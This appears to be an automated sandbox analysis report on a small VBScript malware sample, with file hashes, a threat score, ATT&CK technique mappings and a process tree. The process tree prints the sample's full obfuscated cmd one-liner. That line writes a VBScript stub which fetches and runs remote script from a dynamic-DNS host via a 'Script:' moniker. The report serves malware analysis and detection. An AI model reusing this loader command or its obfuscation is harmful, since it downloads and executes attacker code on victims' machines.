db75b6e02e47046b7e6e31c16d2b5c069985f7a59ea0e48b5488facdac90b888

Analysis

max time kernel
148s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/09/2026, 00:19

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General

Target
76_F!CHER0__58c5hm0fSmEEJCJfaaXw.vbs
Size 4KB
Sample260913-amn9zacf23
SHA256 db75b6e02e47046b7e6e31c16d2b5c069985f7a59ea0e48b5488facdac90b888
MD5 152a2f84df4d89ea45df6320fe2d4654
SHA1 8841c1232af0430db2b0853b853785497604c8e8
SHA512 471eb3cb25a286d13b549e22c4119cb28b1c556cea0af42765e577d358379c5bd6c67f5f00669292c8cd5f3154cbb988b28c41e9f9f6c9e5b53dbba098e39540
SSDEEP 96:nxCefKmNJAg9dg9TDp8h5+hP50UGdhNOhDQz/Fc7X1AFFQi3oPW:nxJfKMJJdg9TCh5melV67WF6i3oPW
TLSH
T1DDA1F0499C225F29B7E64021CE0778D7BE804C51B9CF6567B59B0EE1F21E632C2816EF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

5^/10

execution

Malware Config

Signatures

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4712	WScript.exe
2800	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3700	cmd.exe
3228	cmD.exe
1576	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 3228	4712	WScript.exe	88
PID 3228 wrote to memory of 2752	3228	cmD.exe	90
PID 3228 wrote to memory of 1576	3228	cmD.exe	91
PID 1576 wrote to memory of 3700	1576	cmd.exe	92
PID 3700 wrote to memory of 2800	3700	cmd.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76_F!CHER0__58c5hm0fSmEEJCJfaaXw.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Windows\System32\cmD.exe
  cmD ^/V/D/C EcHo functIon ISTnl(MXScQRcm157) ISTnl= rEplace(MXScQRcm157,"PQe","g" ): End functIon: apAhawQgI8fjO4B738="Sc": wiOxE3NOILbMd32="tP": MeXpUKsX11="g1": haZu9pcuIl0Sj477 = ISTnl(apAhawQgI8fjO4B738 +"ri*Pt*:H*T"+ wiOxE3NOILbMd32 +"s://boPQePQeaym1.hopto.orPQe/*" + MeXpUKsX11): GEtObjEct(Q4Mxf(haZu9pcuIl0Sj477)) :functIon Q4Mxf(o5XAKtunva6T186) Q4Mxf= rEplACE(o5XAKtunva6T186,"*","" ): End functIon > nul > C:\Users\Public\^MeXpUKsX11.vbs |^stArt cmd /c stArt C:\Users\Public\^MeXpUKsX11.vbs
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" EcHo functIon ISTnl(MXScQRcm157) ISTnl= rEplace(MXScQRcm157,"PQe","g" ): End functIon: apAhawQgI8fjO4B738="Sc": wiOxE3NOILbMd32="tP": MeXpUKsX11="g1": haZu9pcuIl0Sj477 = ISTnl(apAhawQgI8fjO4B738 +"ri*Pt*:H*T"+ wiOxE3NOILbMd32 +"s://boPQePQeaym1.hopto.orPQe/*" + MeXpUKsX11): GEtObjEct(Q4Mxf(haZu9pcuIl0Sj477)) :functIon Q4Mxf(o5XAKtunva6T186) Q4Mxf= rEplACE(o5XAKtunva6T186,"*","" ): End functIon 1>C:\Users\Public\MeXpUKsX11.vbs"
    3⤵
    PID:2752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" stArt cmd /c stArt C:\Users\Public\MeXpUKsX11.vbs"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1576
  - - C:\Windows\system32\cmd.exe
      cmd /c stArt C:\Users\Public\MeXpUKsX11.vbs
      4⤵
      Executes a command shell one-liner
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3700
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\MeXpUKsX11.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:2800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

MeXpUKsX11.vbs

Path C:\Users\Public\MeXpUKsX11.vbs
Size 397B
SHA256 7c76b004ab8061ed9557e36b5c285e981d87cab5373ec05025bea3efacaa273c
MD5 999d427ae3ac97c68a5230f51110b4b0
SHA1 daf01dbc2e8637fe796b1e3c0f44d29ce6e52099
SHA512 d42c5d2f03761d7eb86b463576fd2d1b1beab28688d83d3273d364214d7fc0d5d4252cca934ab4a3bbba3a2937b709dd13fcc383367c56f6f61f2040cd81443e
TLSH
T1D5E0230C4E9047216A465582CE03449676694C21F6E745DDB6811E54C03E77644457DD
MD5 SHA1 SHA512 TLSH

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads